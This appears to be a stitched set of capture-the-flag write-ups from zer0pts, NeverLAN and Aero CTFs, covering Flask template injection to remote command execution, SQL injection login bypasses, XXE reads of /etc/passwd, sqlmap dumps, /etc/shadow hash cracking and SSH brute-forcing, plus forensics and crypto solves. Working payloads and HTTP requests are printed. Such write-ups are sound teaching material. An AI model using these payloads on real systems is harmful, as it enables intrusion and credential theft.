`zer0pts{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}`
{%gist hakatashi/fac3ce50f0e7febc4db7f5d7768246d9 %} |
# ▼▼▼notepad(Web, 326pts, 46/432=10.6%) ▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218
⇒46/218=21.1%
---
## 【Check source code】
```import flaskimport flask_bootstrapimport osimport pickleimport base64import datetime
app = flask.Flask(__name__)app.secret_key = os.urandom(16)bootstrap = flask_bootstrap.Bootstrap(app)
@app.route('/', methods=['GET'])def index(): return notepad(0)
@app.route('/note/<int:nid>', methods=['GET'])def notepad(nid=0): data = load() if not 0 <= nid < len(data): nid = 0 return flask.render_template('index.html', data=data, nid=nid)
@app.route('/new', methods=['GET'])def new(): """ Create a new note """ data = load() data.append({"date": now(), "text": "", "title": "*New Note*"}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/note/' + str(len(data) - 1))
@app.route('/save/<int:nid>', methods=['POST'])def save(nid=0): """ Update or append a note """ if 'text' in flask.request.form and 'title' in flask.request.form: title = flask.request.form['title'] text = flask.request.form['text'] data = load() if 0 <= nid < len(data): data[nid] = {"date": now(), "text": text, "title": title} else: data.append({"date": now(), "text": text, "title": title}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) else: return flask.redirect('/') return flask.redirect('/note/' + str(len(data) - 1))
@app.route('/delete/<int:nid>', methods=['GET'])def delete(nid=0): """ Delete a note """ data = load()
if 0 <= nid < len(data): data.pop(nid) if len(data) == 0: data = [{"date": now(), "text": "", "title": "*New Note*"}] flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/')
@app.route('/reset', methods=['GET'])def reset(): """ Remove every note """ flask.session['savedata'] = None return flask.redirect('/')
@app.route('/favicon.ico', methods=['GET'])def favicon(): return ''
@app.errorhandler(404)def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404
def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True
def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data
def now(): """ Get current time """ return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
if __name__ == '__main__': app.run( host = '0.0.0.0', port = '8001', debug=False )```
---
## 【Goal】・The location of the flag could not be identified...
---
## 【Vulnerability identification】
```@app.errorhandler(404)def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404```
↓
**SSTI(Server Side Template Injection)** vulnerability exists in Referer header
---
## 【Check restrictions】
```def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True```↓
(en)https://docs.python.org/3/library/stdtypes.html#str.startswith
(ja)https://docs.python.org/ja/3/library/stdtypes.html#str.startswith
↓
If the host name of the **host header** and **Referer header** are the same, there is no character limit
---
## 【exploit】
Access /ttttt to get a 404 response
↓
```GET /ttttt HTTP/1.1Host: {{7*7}}Referer: http://{{7*7}}/Content-Length: 0```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 151Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 00:50:50 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://49/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓
`URL=http://49/` ※7\*7 = **49** is calculated because of **SSTI** vulnerability.
---
```GET /ttttt?cmd=ls HTTP/1.1Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 171Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 01:08:35 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://app.pyflagtemplates/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓```app.pyflagtemplates```
---
```GET /ttttt?cmd=cat%20flag HTTP/1.1Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/```↓
```HTTP/1.0 404 NOT FOUNDContent-Type: text/html; charset=utf-8Content-Length: 186Server: Werkzeug/1.0.0 Python/3.6.9Date: Mon, 09 Mar 2020 00:54:00 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>```↓
`zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}`
---
### 【Other】
After obtaining SECRET_KEY by SSTI,
it seems that the procedure of executing arbitrary code using **serialization of pickle** is an assumed solution... |
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
The webpage serves your location to the spooky places via xml documents. Using a general XXE payload, such as ``` ]><locationCheck>&xx;;</locationCheck> ```we can have it dump the contents of the passwd file to us, which I guessed that's where the flag would be. But we use the tag 'locationCheck' which can be seen in the request body when you press any of the buttons. By default I ask XML to serve up passwd file, but if that didn't work I would've tried other ones like dev/random. Use Curl to have the server dump the flag for you. |
# spooky store```It's a simple webpage with 3 buttons, you got this :)```Visiting this page revealed a website with 3 clickable buttons that displayed a location's latitute and longitute
Intercepting the request in burpsuite revealed that the POST request is using XML
Let's try modifying the post request to be a simple XXE payload to print /etc/passwd (this is the typical payload example that you will find with a google search)
This worked and printed /etc/passwd, which included the flag
# epic admin pwn```this challenge is epic i promise```For this challenge we are presented with a simple login screen
Start off by trying sql injection to login with user Admin and password 'or '1' ='1 is successful
This gives us a static page, which is basically a dead end. Let's try using sqlmap to try and get something more out of the database.
To do this we intercept the login request in burpsuite and save it to a file called post.txt
From here we run sqlmap. Normally I would use --sql-shell, but that wasn't working so I tried --dump instead.
This successfully dumps the database, which included the flag. |
# Ultimate Snake Game
### Description:
```This is a super secure "Snake" game, but the rules are incredible.
And the snake does not move correctly.```
The binary is packed with VMprotect. Clearly the author did not want us to reverse this challenge :(
```sh---- Ultimate snake game ----*********** Rules ***********1. You can use only WASD to control snake!2. To win you need to get 362525097984 points!3. The snake moves not standard!4. Do not try to hack the game!!!Enter any character to start:
```
```sh############################### ## ## ## ## P ## ## * ## * ## ## ## ## ## ## ## ## ## ## ###############################Points: 1/362525097984Point_x: 7 Point_y: 5```
We have to get 362525097984 points to win.
### Solution:
We use **cheat engine** to change **362525097984** to **1** and get the flag :)
```shAero{68b05fb8a0a617c4771d76b7f0e6df63b4f728ef3966bf6a9a69f53c8d882eac}```
|
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<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text">1.Download the given .wav audio file.2.Open the audiio file in audacity.3.Select spectrogram in waveform dropdown.4.It reveals the flag.</article> </div> </div>
1.Download the given .wav audio file.
2.Open the audiio file in audacity.
3.Select spectrogram in waveform dropdown.
4.It reveals the flag.
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We are given a `.pcapng` [capture file](http://pomo-mondreganto.me/drive/writeups/aeroctf-2020/hidden_transmission/log.pcapng). Opening it in Wireshark shows a lot of useless/encrypted traffic, but sorting by protocol one can find a few interesting UDP packets:
Filtering even futher to drop everything except the conversation between `192.168.1.101` and `192.168.1.107`, we can start looking into the transmission.
Glancing through the packet data yields some JPEG signatures, which is expected from the task description (there were some pictures sent), so we confirm moving in the right direction.
The first two packets of transmission look like connection initiation (16 bytes `21 37 91 de 17 89 ab c0 08 c9 ff d2 fe da 01 02` and 4 bytes of answer `c0c0c0c0`), and we can confirm it as there're 4 packets of each type.
And then the real data follows. There also are connection termination packets, containing bytes `deaddeaddeaddead` (which is quite guessable).
Now we can split the data into transmissions based on the protocol described above and start looking into the data.
Here're two example packets:
Other packets follow the same format. One can see that the first 4 bytes look like random data, so it's most likely the checksum, let's skip it. The next 4-byte block always start with `0000` and the value is small if the packet is small, like in the following example:
The length of the data is 42 bytes, and in this 4-byte block contains `0000001a`, which is exactly `42 - 16`. Checking this guess shows the same rule for all other packets, so we've found the data length. The next two 4-byte blocks contain values of approximately the same magnitude as the length, and in the last (small) packet we can see their values quite close to each other. More precisely, they differ by `0x1a` bytes, which is the packet length, so we conclude that these bytes are the range in the original file being transmitted in the packet. This guess could also be made looking and the consecutive packets of one transmission and noticing they're growing, the second value of one packet being close to the first value of the following one.
The full protocol is reversed, all that's left if to construct the data from the packets. To do so, I wrote a python script using `scapy`:
```pythonimport osimport shutilimport struct
from scapy.all import *from scapy.layers.inet import IP, UDP
try: shutil.rmtree('files')except: pass
# make a directory to dump files intoos.mkdir('files')
cap = rdpcap('log.pcapng')print(cap)
# store current file infomationcur_file = 0# 0x10FFFF is bigger than any transmission sizecur_data = [b'_'] * 0x10FFFF
for pkt in cap: # filter only transmission packets if not (UDP in pkt and IP in pkt and pkt[IP].src == '192.168.1.101' and pkt[IP].dst == '192.168.1.107'): continue pl = bytes(pkt[UDP].payload) # the end of transmission, need to dump the current file if pl == b'\xde\xad\xde\xad\xde\xad\xde\xad\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00': with open(f'files/{cur_file}.data', 'wb') as f: f.write(b''.join(cur_data).rstrip(b'_')) cur_file += 1 cur_data = [b'_'] * 0x10FFFF continue # the start of transmission, skipping if pl == b'!7\x91\xde\x17\x89\xab\xc0\x08\xc9\xff\xd2\xfe\xda\x01\x02\x00\x00': continue
print(pl, len(pl)) # data length ln = pl[6:8] # range start start = pl[8:12] # range end end = pl[12:16]
ln = int(ln.hex(), 16) start = int(start.hex(), 16) end = int(end.hex(), 16) print(start, end) # copy the data to current file for i in range(ln): cur_data[start + i] = bytes([pl[16 + i]])```
This yields 5 files:
And the last one contains the flag:
 |
```We have been given an executable object file "Calc" and we need to find the flag.```
